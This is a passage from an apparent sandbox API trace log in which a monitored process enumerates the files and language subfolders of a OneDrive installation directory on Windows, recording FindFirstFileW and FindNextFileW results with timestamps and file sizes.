ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeffb8050, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si-lk", cAlternateFileName="")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeffb8050, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01a7230, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01a7230, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01cd390, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf042e990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf042e990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf042e990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf05855f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf05855f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sq", cAlternateFileName="")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe99cf270, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe99cf270, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe99cf270, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x2ff40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9ad9c10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9ad9c10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9ad9c10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x98a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqmWrapper.dll", cAlternateFileName="SQMWRA~1.DLL")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf05855f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf068ff90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf068ff90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl-ba", cAlternateFileName="SR-CYR~1")) returned 1 [0144.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf068ff90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf07c0a90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf07c0a90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl-rs", cAlternateFileName="SR-CYR~2")) returned 1 [0144.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf07c0a90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf08cb430, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf08cb430, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn-rs", cAlternateFileName="SR-LAT~1")) returned 1 [0144.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf08cb430, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf09fbf30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf09fbf30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0144.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf09fbf30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0b2ca30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0b2ca30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0144.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea00ec30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea00ec30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea00ec30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x2aaca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncEngine.dll", cAlternateFileName="SYNCEN~1.DLL")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0b2ca30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0c5d530, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0c5d530, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0c5d530, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0d67ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0d67ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea1d7cb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea1d7cb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea1d7cb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x754a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry.dll", cAlternateFileName="TELEME~1.DLL")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0d67ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tg", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tg-cyrl", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ti", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tk-tm", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tn-za", cAlternateFileName="")) returned 1 [0144.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tt", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ug", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ug-arab", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ur", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uz-latn-uz", cAlternateFileName="UZ-LAT~1")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea3087b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea3087b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea3087b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x652a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoStreamingPlugin.dll", cAlternateFileName="VIDEOS~1.DLL")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea4ab6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea4ab6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea4ab6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x684a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlmfds.dll", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea5dc1d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea5dc1d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea64e5f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x60ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WnsClientApi.dll", cAlternateFileName="WNSCLI~1.DLL")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wo", cAlternateFileName="")) returned 1 [0144.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21a39d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xh-za", cAlternateFileName="")) returned 1 [0144.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf21c9b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yo-ng", cAlternateFileName="")) returned 1 [0144.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0144.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0144.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26d89f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu-za", cAlternateFileName="")) returned 1 [0144.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26d89f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu-za", cAlternateFileName="")) returned 0 [0144.767] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.767] SetErrorMode (uMode=0x0) returned 0x1 [0144.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120", lpFilePart=0x0) returned 0x42 [0144.768] SetErrorMode (uMode=0x1) returned 0x0 [0144.768] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea64e5f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0144.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am-et", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb2cd970, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb2cd970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb2cd970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb4969f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb4969f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4bcb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb685bd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb685bd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="as-in", cAlternateFileName="")) returned 1 [0144.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9212af0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9212af0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9212af0, ftLastWriteTime.dwHighDateTime=0x1d70911, 